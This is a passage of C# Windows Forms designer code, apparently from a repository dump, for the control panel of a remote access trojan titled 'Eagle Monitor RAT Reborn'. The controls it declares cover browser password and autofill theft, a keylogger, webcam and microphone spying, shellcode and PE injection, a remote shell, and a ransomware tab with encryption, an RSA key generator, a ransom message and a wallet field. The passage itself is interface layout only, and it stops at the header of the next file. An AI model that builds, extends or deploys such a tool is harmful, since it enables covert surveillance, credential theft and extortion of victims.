this.bytesReceivedLabel.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(80)))), ((int)(((byte)(80)))), ((int)(((byte)(80)))));\n            this.bytesReceivedLabel.Location = new System.Drawing.Point(3, 1);\n            this.bytesReceivedLabel.Name = \"bytesReceivedLabel\";\n            this.bytesReceivedLabel.Size = new System.Drawing.Size(16, 13);\n            this.bytesReceivedLabel.TabIndex = 8;\n            this.bytesReceivedLabel.Text = \"...\";\n            this.bytesReceivedLabel.TextAlign = System.Drawing.ContentAlignment.MiddleLeft;\n            // \n            // panel7\n            // \n            this.panel7.Controls.Add(this.mainGuna2TabControl);\n            this.panel7.Dock = System.Windows.Forms.DockStyle.Fill;\n            this.panel7.Location = new System.Drawing.Point(2, 32);\n            this.panel7.Name = \"panel7\";\n            this.panel7.Size = new System.Drawing.Size(1279, 482);\n            this.panel7.TabIndex = 10;\n            // \n            // Column48\n            // \n            this.Column48.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill;\n            dataGridViewCellStyle53.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(64)))), ((int)(((byte)(64)))), ((int)(((byte)(64)))));\n            this.Column48.DefaultCellStyle = dataGridViewCellStyle53;\n            this.Column48.FillWeight = 20F;\n            this.Column48.HeaderText = \"PID\";\n            this.Column48.Name = \"Column48\";\n            this.Column48.ReadOnly = true;\n            // \n            // Column49\n            // \n            this.Column49.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill;\n            this.Column49.FillWeight = 20F;\n            this.Column49.HeaderText = \"Process Name\";\n            this.Column49.Name = \"Column49\";\n            this.Column49.ReadOnly = true;\n            // \n            // Column50\n            // \n            this.Column50.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill;\n            this.Column50.FillWeight = 20F;\n            this.Column50.HeaderText = \"Local EndPoint\";\n            this.Column50.Name = \"Column50\";\n            this.Column50.ReadOnly = true;\n            // \n            // Column51\n            // \n            this.Column51.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill;\n            this.Column51.FillWeight = 20F;\n            this.Column51.HeaderText = \"Remote EndPoint\";\n            this.Column51.Name = \"Column51\";\n            this.Column51.ReadOnly = true;\n            // \n            // Column52\n            // \n            this.Column52.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill;\n            this.Column52.FillWeight = 20F;\n            this.Column52.HeaderText = \"State\";\n            this.Column52.Name = \"Column52\";\n            this.Column52.ReadOnly = true;\n            // \n            // ClientForm\n            // \n            this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);\n            this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;\n            this.BackColor = System.Drawing.Color.White;\n            this.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249)))));\n            this.BordersSize = 2;\n            this.ClientSize = new System.Drawing.Size(1283, 555);\n            this.Controls.Add(this.panel7);\n            this.Controls.Add(this.panel6);\n            this.Controls.Add(this.clientLabel);\n            this.Controls.Add(this.logoPictureBox);\n            this.Controls.Add(this.minimizeGuna2ControlBox);\n            this.Controls.Add(this.maximizeGuna2ControlBox);\n            this.Controls.Add(this.closeGuna2ControlBox);\n            this.Font = new System.Drawing.Font(\"Segoe UI Semibold\", 8F);\n            this.Icon = ((System.Drawing.Icon)(resources.GetObject(\"$this.Icon\")));\n            this.KeyPreview = true;\n            this.Name = \"ClientForm\";\n            this.Padding = new System.Windows.Forms.Padding(2, 32, 2, 2);\n            this.Text = \"Eagle Monitor RAT Reborn\";\n            this.TopBorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249)))));\n            this.Load += new System.EventHandler(this.ClientForm_Load);\n            this.KeyDown += new System.Windows.Forms.KeyEventHandler(this.ClientForm_KeyDown);\n            this.KeyUp += new System.Windows.Forms.KeyEventHandler(this.ClientForm_KeyUp);\n            this.MouseLeave += new System.EventHandler(this.ClientForm_MouseLeave);\n            this.mainGuna2TabControl.ResumeLayout(false);\n            this.tabPage1.ResumeLayout(false);\n            this.recoveryGuna2TabControl.ResumeLayout(false);\n            this.tabPage3.ResumeLayout(false);\n            ((System.ComponentModel.ISupportInitialize)(this.passwordsDataGridView)).EndInit();\n            this.passwordContextMenuStrip.ResumeLayout(false);\n            this.tabPage4.ResumeLayout(false);\n            ((System.ComponentModel.ISupportInitialize)(this.historyDataGridView)).EndInit();\n            this.historyContextMenuStrip.ResumeLayout(false);\n            this.tabPage6.ResumeLayout(false);\n            ((System.ComponentModel.ISupportInitialize)(this.autofillDataGridView)).EndInit();\n            this.autofillContextMenuStrip.ResumeLayout(false);\n            this.tabPage7.ResumeLayout(false);\n            ((System.ComponentModel.ISupportInitialize)(this.keywordsDataGridView)).EndInit();\n            this.keywordsContextMenuStrip.ResumeLayout(false);\n            this.tabPage2.ResumeLayout(false);\n            this.panel1.ResumeLayout(false);\n            this.fileManagerGuna2TabControl.ResumeLayout(false);\n            this.tabPage9.ResumeLayout(false);\n            ((System.ComponentModel.ISupportInitialize)(this.fileManagerDataGridView)).EndInit();\n            this.fileManagerContextMenuStrip.ResumeLayout(false);\n            this.shortcutContextMenuStrip.ResumeLayout(false);\n            this.fileContextMenuStrip.ResumeLayout(false);\n            this.directoryContextMenuStrip.ResumeLayout(false);\n            this.panel2.ResumeLayout(false);\n            this.panel2.PerformLayout();\n            this.tabPage13.ResumeLayout(false);\n            ((System.ComponentModel.ISupportInitialize)(this.dowloadFileDataGridView)).EndInit();\n            this.downloadContextMenuStrip.ResumeLayout(false);\n            this.tabPage5.ResumeLayout(false);\n            this.panel3.ResumeLayout(false);\n            ((System.ComponentModel.ISupportInitialize)(this.processDataGridView)).EndInit();\n            this.processContextMenuStrip.ResumeLayout(false);\n            this.tabPage8.ResumeLayout(false);\n            this.remoteGuna2TabControl.ResumeLayout(false);\n            this.tabPage10.ResumeLayout(false);\n            ((System.ComponentModel.ISupportInitialize)(this.remoteDesktopPictureBox)).EndInit();\n            this.remoteDesktopContextMenuStrip.ResumeLayout(false);\n            this.panel4.ResumeLayout(false);\n            this.tabPage11.ResumeLayout(false);\n            ((System.ComponentModel.ISupportInitialize)(this.remoteWebCamPictureBox)).EndInit();\n            this.webCamContextMenuStrip.ResumeLayout(false);\n            this.panel8.ResumeLayout(false);\n            this.tabPage12.ResumeLayout(false);\n            this.panel10.ResumeLayout(false);\n            this.microphoneContextMenuStrip.ResumeLayout(false);\n            this.tabPage14.ResumeLayout(false);\n            this.miscellaneousGuna2TabControl.ResumeLayout(false);\n            this.tabPage15.ResumeLayout(false);\n            this.memoryExecutionGuna2TabControl.ResumeLayout(false);\n            this.tabPage19.ResumeLayout(false);\n            ((System.ComponentModel.ISupportInitialize)(this.nativePEDataGridView)).EndInit();\n            this.nativePEContextMenuStrip.ResumeLayout(false);\n            this.tabPage22.ResumeLayout(false);\n            ((System.ComponentModel.ISupportInitialize)(this.managedPEDataGridView)).EndInit();\n            this.managedPEContextMenuStrip.ResumeLayout(false);\n            this.tabPage20.ResumeLayout(false);\n            ((System.ComponentModel.ISupportInitialize)(this.shellcodeDataGridView)).EndInit();\n            this.shellcodeContextMenuStrip.ResumeLayout(false);\n            this.tabPage21.ResumeLayout(false);\n            ((System.ComponentModel.ISupportInitialize)(this.codeTextBox)).EndInit();\n            ((System.ComponentModel.ISupportInitialize)(this.importLibDataGridView)).EndInit();\n            this.importLibContextMenuStrip.ResumeLayout(false);\n            this.tabPage16.ResumeLayout(false);\n            this.tabPage17.ResumeLayout(false);\n            this.informationGuna2TabControl.ResumeLayout(false);\n            this.tabPage30.ResumeLayout(false);\n            this.guna2GroupBox2.ResumeLayout(false);\n            this.panel16.ResumeLayout(false);\n            ((System.ComponentModel.ISupportInitialize)(this.systemInformationDataGridView)).EndInit();\n            this.guna2GroupBox1.ResumeLayout(false);\n            this.panel15.ResumeLayout(false);\n            ((System.ComponentModel.ISupportInitialize)(this.componentsDataGridView)).EndInit();\n            this.panel13.ResumeLayout(false);\n            ((System.ComponentModel.ISupportInitialize)(this.cpuDataGridView)).EndInit();\n            this.tabPage31.ResumeLayout(false);\n            ((System.ComponentModel.ISupportInitialize)(this.networkInformationDataGridView)).EndInit();\n            this.tabPage18.ResumeLayout(false);\n            this.panel18.ResumeLayout(false);\n            this.panel19.ResumeLayout(false);\n            this.guna2GroupBox3.ResumeLayout(false);\n            this.guna2GroupBox3.PerformLayout();\n            this.guna2GroupBox5.ResumeLayout(false);\n            this.guna2GroupBox5.PerformLayout();\n            this.guna2GroupBox6.ResumeLayout(false);\n            this.guna2GroupBox8.ResumeLayout(false);\n            this.guna2GroupBox4.ResumeLayout(false);\n            this.guna2GroupBox7.ResumeLayout(false);\n            this.tabPage23.ResumeLayout(false);\n            this.tabPage24.ResumeLayout(false);\n            this.guna2GroupBox9.ResumeLayout(false);\n            ((System.ComponentModel.ISupportInitialize)(this.restorePointDataGridView)).EndInit();\n            this.restorePointContextMenuStrip.ResumeLayout(false);\n            this.tabPage25.ResumeLayout(false);\n            this.ransomwareGuna2TabControl.ResumeLayout(false);\n            this.tabPage26.ResumeLayout(false);\n            ((System.ComponentModel.ISupportInitialize)(this.pathRansomwareDataGridView)).EndInit();\n            this.ransomwarePathContextMenuStrip.ResumeLayout(false);\n            this.tabPage27.ResumeLayout(false);\n            this.tabPage27.PerformLayout();\n            this.panel20.ResumeLayout(false);\n            ((System.ComponentModel.ISupportInitialize)(this.extensionRansomwareDataGridView)).EndInit();\n            this.extensionContextMenuStrip.ResumeLayout(false);\n            this.tabPage28.ResumeLayout(false);\n            this.tabPage29.ResumeLayout(false);\n            this.panel21.ResumeLayout(false);\n            this.ransomwareContextMenuStrip.ResumeLayout(false);\n            ((System.ComponentModel.ISupportInitialize)(this.logoPictureBox)).EndInit();\n            this.panel6.ResumeLayout(false);\n            this.guna2Panel5.ResumeLayout(false);\n            this.guna2Panel5.PerformLayout();\n            this.panel7.ResumeLayout(false);\n            this.ResumeLayout(false);\n            this.PerformLayout();\n\n        }\n\n        #endregion\n        private Guna.UI2.WinForms.Guna2ControlBox closeGuna2ControlBox;\n        private Guna.UI2.WinForms.Guna2ControlBox maximizeGuna2ControlBox;\n        private Guna.UI2.WinForms.Guna2ControlBox minimizeGuna2ControlBox;\n        private System.Windows.Forms.PictureBox logoPictureBox;\n        internal System.Windows.Forms.Label clientLabel;\n        private Guna.UI2.WinForms.Guna2TabControl mainGuna2TabControl;\n        private Controls.CustomContextMenuStrip passwordContextMenuStrip;\n        private System.Windows.Forms.ToolStripMenuItem getPasswordToolStripMenuItem;\n        private System.Windows.Forms.TabPage tabPage1;\n        private System.Windows.Forms.TabPage tabPage2;\n        public System.Windows.Forms.DataGridView passwordsDataGridView;\n        private Guna.UI2.WinForms.Guna2TabControl recoveryGuna2TabControl;\n        private System.Windows.Forms.TabPage tabPage3;\n        private Guna.UI2.WinForms.Guna2VScrollBar guna2VScrollBar1;\n        private System.Windows.Forms.TabPage tabPage4;\n        private Guna.UI2.WinForms.Guna2VScrollBar guna2VScrollBar2;\n        public System.Windows.Forms.DataGridView historyDataGridView;\n        private Controls.CustomContextMenuStrip historyContextMenuStrip;\n        private System.Windows.Forms.ToolStripMenuItem historyToolStripMenuItem;\n        public System.Windows.Forms.DataGridView fileManagerDataGridView;\n        private Guna.UI2.WinForms.Guna2VScrollBar guna2VScrollBar3;\n        private System.Windows.Forms.Panel panel1;\n        private System.Windows.Forms.Panel panel2;\n        private Controls.CustomContextMenuStrip fileManagerContextMenuStrip;\n        private System.Windows.Forms.ToolStripMenuItem goToolStripMenuItem;\n        private System.Windows.Forms.ToolStripMenuItem backToolStripMenuItem;\n        internal Guna.UI2.WinForms.Guna2ComboBox disksGuna2ComboBox;\n        private System.Windows.Forms.ToolStripMenuItem refreshToolStripMenuItem;\n        private System.Windows.Forms.ToolStripMenuItem shortcutToolStripMenuItem;\n        private Controls.CustomContextMenuStrip shortcutContextMenuStrip;\n        private System.Windows.Forms.ToolStripMenuItem downloadSToolStripMenuItem;\n        private System.Windows.Forms.ToolStripMenuItem desktopSToolStripMenuItem;\n        private System.Windows.Forms.ToolStripMenuItem documentsSToolStripMenuItem;\n        private System.Windows.Forms.ToolStripMenuItem userProfileSToolStripMenuItem;\n        internal System.Windows.Forms.Label labelPath;\n        private System.Windows.Forms.TabPage tabPage5;\n        private System.Windows.Forms.DataGridViewTextBoxColumn Column1;\n        private System.Windows.Forms.DataGridViewTextBoxColumn Column2;\n        private System.Windows.Forms.DataGridViewTextBoxColumn Column3;\n        private System.Windows.Forms.DataGridViewTextBoxColumn Column4;\n        private System.Windows.Forms.DataGridViewTextBoxColumn Column5;\n        private System.Windows.Forms.DataGridViewTextBoxColumn Column6;\n        private System.Windows.Forms.DataGridViewTextBoxColumn Column7;\n        private System.Windows.Forms.DataGridViewTextBoxColumn Column8;\n        private System.Windows.Forms.DataGridViewTextBoxColumn Column9;\n        private System.Windows.Forms.DataGridViewImageColumn Column11;\n        internal System.Windows.Forms.DataGridViewTextBoxColumn Column12;\n        private System.Windows.Forms.DataGridViewTextBoxColumn Column13;\n        private System.Windows.Forms.DataGridViewTextBoxColumn Column14;\n        public System.Windows.Forms.DataGridView processDataGridView;\n        private Guna.UI2.WinForms.Guna2VScrollBar guna2VScrollBar4;\n        private Controls.CustomContextMenuStrip processContextMenuStrip;\n        private System.Windows.Forms.ToolStripMenuItem refreshProcessToolStripMenuItem;\n        private System.Windows.Forms.DataGridViewImageColumn Column15;\n        private System.Windows.Forms.DataGridViewTextBoxColumn Column16;\n        private System.Windows.Forms.DataGridViewTextBoxColumn Column17;\n        private System.Windows.Forms.DataGridViewTextBoxColumn Column18;\n        private System.Windows.Forms.DataGridViewTextBoxColumn Column19;\n        private System.Windows.Forms.DataGridViewTextBoxColumn Column20;\n        private System.Windows.Forms.Panel panel3;\n        private System.Windows.Forms.ToolStripMenuItem killToolStripMenuItem;\n        private System.Windows.Forms.ToolStripMenuItem suspendToolStripMenuItem;\n        private System.Windows.Forms.ToolStripMenuItem resumeToolStripMenuItem;\n        private System.Windows.Forms.ToolStripMenuItem shellcodeInjectionToolStripMenuItem;\n        private System.Windows.Forms.TabPage tabPage6;\n        public System.Windows.Forms.DataGridView autofillDataGridView;\n        private System.Windows.Forms.DataGridViewTextBoxColumn Column21;\n        private System.Windows.Forms.DataGridViewTextBoxColumn Column22;\n        private System.Windows.Forms.DataGridViewTextBoxColumn Column23;\n        private System.Windows.Forms.DataGridViewTextBoxColumn Column24;\n        private System.Windows.Forms.DataGridViewTextBoxColumn Column25;\n        private Guna.UI2.WinForms.Guna2VScrollBar guna2VScrollBar5;\n        private System.Windows.Forms.TabPage tabPage7;\n        private Guna.UI2.WinForms.Guna2VScrollBar guna2VScrollBar6;\n        public System.Windows.Forms.DataGridView keywordsDataGridView;\n        private Controls.CustomContextMenuStrip autofillContextMenuStrip;\n        private System.Windows.Forms.ToolStripMenuItem autofillToolStripMenuItem;\n        private Controls.CustomContextMenuStrip keywordsContextMenuStrip;\n        private System.Windows.Forms.ToolStripMenuItem keywordsToolStripMenuItem;\n        private System.Windows.Forms.DataGridViewTextBoxColumn Column26;\n        private System.Windows.Forms.DataGridViewTextBoxColumn Column27;\n        private System.Windows.Forms.TabPage tabPage8;\n        private Guna.UI2.WinForms.Guna2TrackBar qualityGuna2TrackBar;\n        private Guna.UI2.WinForms.Guna2ToggleSwitch keyboardGuna2ToggleSwitch;\n        private Guna.UI2.WinForms.Guna2ToggleSwitch mouseGuna2ToggleSwitch;\n        private Guna.UI2.WinForms.Guna2ToggleSwitch captureGuna2ToggleSwitch;\n        private System.Windows.Forms.Label label6;\n        private System.Windows.Forms.Label label5;\n        private System.Windows.Forms.Label label4;\n        private System.Windows.Forms.Label label1;\n        private System.Windows.Forms.Panel panel4;\n        private System.Windows.Forms.Panel panel5;\n        internal System.Windows.Forms.PictureBox remoteDesktopPictureBox;\n        private System.Windows.Forms.Panel panel6;\n        private Guna.UI2.WinForms.Guna2Panel guna2Panel5;\n        private System.Windows.Forms.Panel panel7;\n        internal System.Windows.Forms.Label bytesReceivedLabel;\n        internal System.Windows.Forms.Label bytesSentlabel;\n        private Guna.UI2.WinForms.Guna2TabControl remoteGuna2TabControl;\n        private System.Windows.Forms.TabPage tabPage10;\n        private System.Windows.Forms.TabPage tabPage11;\n        private System.Windows.Forms.TabPage tabPage12;\n        private System.Windows.Forms.Panel panel8;\n        private Guna.UI2.WinForms.Guna2ToggleSwitch captureWebCamGuna2ToggleSwitch;\n        private System.Windows.Forms.Panel panel9;\n        private System.Windows.Forms.Label label2;\n        internal Guna.UI2.WinForms.Guna2ComboBox camerasGuna2ComboBox;\n        internal System.Windows.Forms.PictureBox remoteWebCamPictureBox;\n        private Controls.CustomContextMenuStrip webCamContextMenuStrip;\n        private System.Windows.Forms.ToolStripMenuItem getWebCamToolStripMenuItem;\n        private System.Windows.Forms.ToolStripMenuItem saveWebCamToolStripMenuItem;\n        private Controls.CustomContextMenuStrip remoteDesktopContextMenuStrip;\n        private System.Windows.Forms.ToolStripMenuItem saveRemoteDesktopToolStripMenuItem;\n        private System.Windows.Forms.Panel panel10;\n        internal Guna.UI2.WinForms.Guna2ComboBox audioDevicesGuna2ComboBox;\n        private System.Windows.Forms.Label label7;\n        internal Guna.UI2.WinForms.Guna2ComboBox currentMachineDevicesGuna2ComboBox;\n        private Guna.UI2.WinForms.Guna2ToggleSwitch remoteMicrophoneGuna2ToggleSwitch;\n        private System.Windows.Forms.Label label3;\n        private Controls.CustomContextMenuStrip microphoneContextMenuStrip;\n        private System.Windows.Forms.ToolStripMenuItem getMicrophonesToolStripMenuItem;\n        private Guna.UI2.WinForms.Guna2TabControl fileManagerGuna2TabControl;\n        private System.Windows.Forms.TabPage tabPage9;\n        private System.Windows.Forms.TabPage tabPage13;\n        private System.Windows.Forms.ToolStripMenuItem fileToolStripMenuItem;\n        private Controls.CustomContextMenuStrip fileContextMenuStrip;\n        private System.Windows.Forms.ToolStripMenuItem downloadFileToolStripMenuItem;\n        public System.Windows.Forms.DataGridView dowloadFileDataGridView;\n        private Guna.UI2.WinForms.Guna2VScrollBar guna2VScrollBar7;\n        private Controls.CustomContextMenuStrip downloadContextMenuStrip;\n        private System.Windows.Forms.ToolStripMenuItem pauseToolStripMenuItem;\n        private System.Windows.Forms.ToolStripMenuItem startDowloadFileToolStripMenuItem;\n        private System.Windows.Forms.TabPage tabPage14;\n        private System.Windows.Forms.ToolStripMenuItem deleteFileToolStripMenuItem;\n        private System.Windows.Forms.DataGridViewTextBoxColumn Column28;\n        private System.Windows.Forms.DataGridViewTextBoxColumn Column29;\n        private System.Windows.Forms.DataGridViewTextBoxColumn Column30;\n        private System.Windows.Forms.DataGridViewTextBoxColumn Column10;\n        private Guna.UI2.WinForms.Guna2TabControl miscellaneousGuna2TabControl;\n        private System.Windows.Forms.TabPage tabPage15;\n        private System.Windows.Forms.TabPage tabPage16;\n        private System.Windows.Forms.TabPage tabPage17;\n        private System.Windows.Forms.TabPage tabPage18;\n        private Guna.UI2.WinForms.Guna2TabControl memoryExecutionGuna2TabControl;\n        private System.Windows.Forms.TabPage tabPage19;\n        private System.Windows.Forms.TabPage tabPage20;\n        private System.Windows.Forms.TabPage tabPage21;\n        public System.Windows.Forms.DataGridView importLibDataGridView;\n        private System.Windows.Forms.DataGridViewTextBoxColumn Column31;\n        private Guna.UI2.WinForms.Guna2Button testDotNetGuna2Button;\n        private Guna.UI2.WinForms.Guna2Button sendDotNetGuna2Button;\n        private FastColoredTextBoxNS.FastColoredTextBox codeTextBox;\n        internal Guna.UI2.WinForms.Guna2ComboBox languageComboBox;\n        internal Guna.UI2.WinForms.Guna2ComboBox platformGuna2ComboBox;\n        private Controls.CustomContextMenuStrip importLibContextMenuStrip;\n        private System.Windows.Forms.ToolStripMenuItem addImportLibContextMenuStripToolStripMenuItem;\n        private System.Windows.Forms.ToolStripMenuItem removeImportLibContextMenuStripToolStripMenuItem;\n        public System.Windows.Forms.DataGridView shellcodeDataGridView;\n        private System.Windows.Forms.DataGridViewTextBoxColumn Column32;\n        private System.Windows.Forms.TabPage tabPage22;\n        private Guna.UI2.WinForms.Guna2VScrollBar guna2VScrollBar8;\n        private Controls.CustomContextMenuStrip shellcodeContextMenuStrip;\n        private System.Windows.Forms.ToolStripMenuItem addShellCodeContextMenuStripToolStripMenuItem;\n        private System.Windows.Forms.ToolStripMenuItem removeShellCodeContextMenuStripToolStripMenuItem;\n        private System.Windows.Forms.ToolStripMenuItem sendShellcodeToolStripMenuItem;\n        private Controls.CustomContextMenuStrip nativePEContextMenuStrip;\n        private System.Windows.Forms.ToolStripMenuItem addNativePEContextMenuStripToolStripMenuItem;\n        private System.Windows.Forms.ToolStripMenuItem removeNativePEContextMenuStripToolStripMenuItem;\n        private System.Windows.Forms.ToolStripMenuItem sendNativePEContextMenuStripToolStripMenuItem;\n        private Controls.CustomContextMenuStrip managedPEContextMenuStrip;\n        private System.Windows.Forms.ToolStripMenuItem addManagedPEContextMenuStripToolStripMenuItem;\n        private System.Windows.Forms.ToolStripMenuItem removeManagedPEContextMenuStripToolStripMenuItem;\n        private System.Windows.Forms.ToolStripMenuItem sendManagedPEContextMenuStripToolStripMenuItem;\n        public System.Windows.Forms.DataGridView managedPEDataGridView;\n        private System.Windows.Forms.DataGridViewTextBoxColumn Column33;\n        private System.Windows.Forms.DataGridViewTextBoxColumn Column34;\n        public System.Windows.Forms.DataGridView nativePEDataGridView;\n        private System.Windows.Forms.DataGridViewTextBoxColumn Column35;\n        private Guna.UI2.WinForms.Guna2GroupBox guna2GroupBox1;\n        private Guna.UI2.WinForms.Guna2GroupBox guna2GroupBox2;\n        public System.Windows.Forms.DataGridView systemInformationDataGridView;\n        private System.Windows.Forms.DataGridViewTextBoxColumn Column40;\n        private System.Windows.Forms.DataGridViewTextBoxColumn Column41;\n        private Guna.UI2.WinForms.Guna2Button retrieveInformationGuna2Button;\n        private System.Windows.Forms.Panel panel16;\n        private Guna.UI2.WinForms.Guna2VScrollBar guna2VScrollBar11;\n        private System.Windows.Forms.Panel panel15;\n        public System.Windows.Forms.DataGridView componentsDataGridView;\n        private System.Windows.Forms.DataGridViewTextBoxColumn Column38;\n        private System.Windows.Forms.DataGridViewTextBoxColumn Column39;\n        private Guna.UI2.WinForms.Guna2VScrollBar guna2VScrollBar10;\n        private System.Windows.Forms.Panel panel13;\n        public System.Windows.Forms.DataGridView cpuDataGridView;\n        private System.Windows.Forms.DataGridViewTextBoxColumn Column36;\n        private System.Windows.Forms.DataGridViewTextBoxColumn Column37;\n        private Guna.UI2.WinForms.Guna2VScrollBar guna2VScrollBar9;\n        private System.Windows.Forms.Panel panel14;\n        private System.Windows.Forms.TabPage tabPage23;\n        private Guna.UI2.WinForms.Guna2Button keyloggerGuna2Button;\n        private System.Windows.Forms.Panel panel12;\n        public System.Windows.Forms.RichTextBox keystrokeRichTextBox;\n        private Guna.UI2.WinForms.Guna2Button chatGuna2Button;\n        private System.Windows.Forms.Panel panel17;\n        private Guna.UI2.WinForms.Guna2Button chatSendGuna2Button;\n        internal Guna.UI2.WinForms.Guna2TextBox messageChatGuna2TextBox;\n        internal Guna.UI2.WinForms.Guna2TextBox usernameChatGuna2TextBox;\n        internal System.Windows.Forms.RichTextBox messageRichTextBox;\n        private Guna.UI2.WinForms.Guna2GroupBox guna2GroupBox3;\n        internal Guna.UI2.WinForms.Guna2CheckBox blockMouseGuna2CheckBox;\n        internal Guna.UI2.WinForms.Guna2CheckBox blockKeyboardGuna2CheckBox;\n        private Guna.UI2.WinForms.Guna2GroupBox guna2GroupBox4;\n        private Guna.UI2.WinForms.Guna2Button rotateScreenGuna2Button;\n        internal Guna.UI2.WinForms.Guna2ComboBox degreesGuna2ComboBox;\n        private Guna.UI2.WinForms.Guna2GroupBox guna2GroupBox5;\n        private Guna.UI2.WinForms.Guna2Button wallpaperGuna2Button;\n        private System.Windows.Forms.Label label8;\n        private Guna.UI2.WinForms.Guna2Button showDesktopIconsGuna2Button;\n        private Guna.UI2.WinForms.Guna2Button hideDesktopIconsGuna2Button;\n        private System.Windows.Forms.Label label10;\n        private System.Windows.Forms.Label label9;\n        private Guna.UI2.WinForms.Guna2Button showTaskbarGuna2Button;\n        private Guna.UI2.WinForms.Guna2Button hideTaskbarGuna2Button;\n        private Guna.UI2.WinForms.Guna2GroupBox guna2GroupBox6;\n        private Guna.UI2.WinForms.Guna2Button volumeUpGuna2Button;\n        private Guna.UI2.WinForms.Guna2Button volumeDownGuna2Button;\n        private Guna.UI2.WinForms.Guna2GroupBox guna2GroupBox7;\n        private Guna.UI2.WinForms.Guna2Button linkWebGuna2Button;\n        internal Guna.UI2.WinForms.Guna2TextBox linkWebGuna2TextBox;\n        private Guna.UI2.WinForms.Guna2GroupBox guna2GroupBox8;\n        private Guna.UI2.WinForms.Guna2Button setPowerGuna2Button;\n        internal Guna.UI2.WinForms.Guna2ComboBox powerStateGuna2ComboBox;\n        private System.Windows.Forms.TabPage tabPage24;\n        private System.Windows.Forms.Panel panel18;\n        private System.Windows.Forms.Panel panel19;\n        private Guna.UI2.WinForms.Guna2GroupBox guna2GroupBox9;\n        public System.Windows.Forms.DataGridView restorePointDataGridView;\n        private System.Windows.Forms.DataGridViewTextBoxColumn Column42;\n        private System.Windows.Forms.DataGridViewTextBoxColumn Column43;\n        private System.Windows.Forms.DataGridViewTextBoxColumn Column44;\n        private System.Windows.Forms.DataGridViewTextBoxColumn Column45;\n        private Guna.UI2.WinForms.Guna2VScrollBar guna2VScrollBar12;\n        private Controls.CustomContextMenuStrip restorePointContextMenuStrip;\n        private System.Windows.Forms.ToolStripMenuItem refreshRestorePointToolStripMenuItem;\n        private System.Windows.Forms.ToolStripMenuItem deleteRestorePointToolStripMenuItem;\n        private Guna.UI2.WinForms.Guna2Button askUACGuna2Button;\n        internal Guna.UI2.WinForms.Guna2CheckBox screenlockerGuna2CheckBox;\n        private System.Windows.Forms.TabPage tabPage25;\n        private Guna.UI2.WinForms.Guna2TabControl ransomwareGuna2TabControl;\n        private System.Windows.Forms.TabPage tabPage26;\n        public System.Windows.Forms.DataGridView pathRansomwareDataGridView;\n        private System.Windows.Forms.TabPage tabPage27;\n        private Guna.UI2.WinForms.Guna2VScrollBar guna2VScrollBar13;\n        public System.Windows.Forms.DataGridView extensionRansomwareDataGridView;\n        private Guna.UI2.WinForms.Guna2VScrollBar guna2VScrollBar14;\n        private System.Windows.Forms.ToolStripMenuItem directoryToolStripMenuItem;\n        private Controls.CustomContextMenuStrip directoryContextMenuStrip;\n        private System.Windows.Forms.ToolStripMenuItem addRansomwareToolStripMenuItem;\n        private Controls.CustomContextMenuStrip ransomwareContextMenuStrip;\n        private System.Windows.Forms.ToolStripMenuItem removePathToolStripMenuItem;\n        private System.Windows.Forms.DataGridViewTextBoxColumn Column46;\n        internal Guna.UI2.WinForms.Guna2CheckBox subDirectoriesGuna2CheckBox;\n        private Controls.CustomContextMenuStrip extensionContextMenuStrip;\n        private System.Windows.Forms.ToolStripMenuItem addExtensionToolStripMenuItem;\n        private System.Windows.Forms.ToolStripMenuItem removeExtensionToolStripMenuItem;\n        private System.Windows.Forms.DataGridViewTextBoxColumn Column47;\n        private System.Windows.Forms.Panel panel20;\n        internal Guna.UI2.WinForms.Guna2CheckBox checkExtensionsGuna2CheckBox;\n        private Controls.CustomContextMenuStrip ransomwarePathContextMenuStrip;\n        private System.Windows.Forms.ToolStripMenuItem removeToolStripMenuItem;\n        private System.Windows.Forms.TabPage tabPage28;\n        private Guna.UI2.WinForms.Guna2Button startDecryptionGuna2Button;\n        private Guna.UI2.WinForms.Guna2Button startEncryptionGuna2Button;\n        private Guna.UI2.WinForms.Guna2Button generateRSAKeyGuna2Button;\n        internal Guna.UI2.WinForms.Guna2TextBox msgRansomwareGuna2TextBox;\n        internal Guna.UI2.WinForms.Guna2TextBox walletGuna2TextBox;\n        private System.Windows.Forms.TabPage tabPage29;\n        private Guna.UI2.WinForms.Guna2Button remoteShellGuna2Button;\n        public System.Windows.Forms.RichTextBox remoteShellStdOutRichTextBox;\n        private System.Windows.Forms.Label label11;\n        internal Guna.UI2.WinForms.Guna2TextBox remoteShellGuna2TextBox;\n        internal Guna.UI2.WinForms.Guna2ToggleSwitch remoteShellGuna2ToggleSwitch;\n        private System.Windows.Forms.Panel panel21;\n        private System.Windows.Forms.ToolTip toolTip1;\n        private Guna.UI2.WinForms.Guna2TabControl informationGuna2TabControl;\n        private System.Windows.Forms.TabPage tabPage30;\n        private System.Windows.Forms.Panel panel22;\n        private System.Windows.Forms.TabPage tabPage31;\n        private Guna.UI2.WinForms.Guna2Button retrieveNetworkGuna2Button;\n        private Guna.UI2.WinForms.Guna2VScrollBar guna2VScrollBar15;\n        public System.Windows.Forms.DataGridView networkInformationDataGridView;\n        private System.Windows.Forms.DataGridViewTextBoxColumn Column48;\n        private System.Windows.Forms.DataGridViewTextBoxColumn Column49;\n        private System.Windows.Forms.DataGridViewTextBoxColumn Column50;\n        private System.Windows.Forms.DataGridViewTextBoxColumn Column51;\n        private System.Windows.Forms.DataGridViewTextBoxColumn Column52;\n    }\n}\n\n"
  },
  {
    "path": "Remote Access Tool/Eagle Monitor RAT Reborn/Controls/ClientForm.cs",
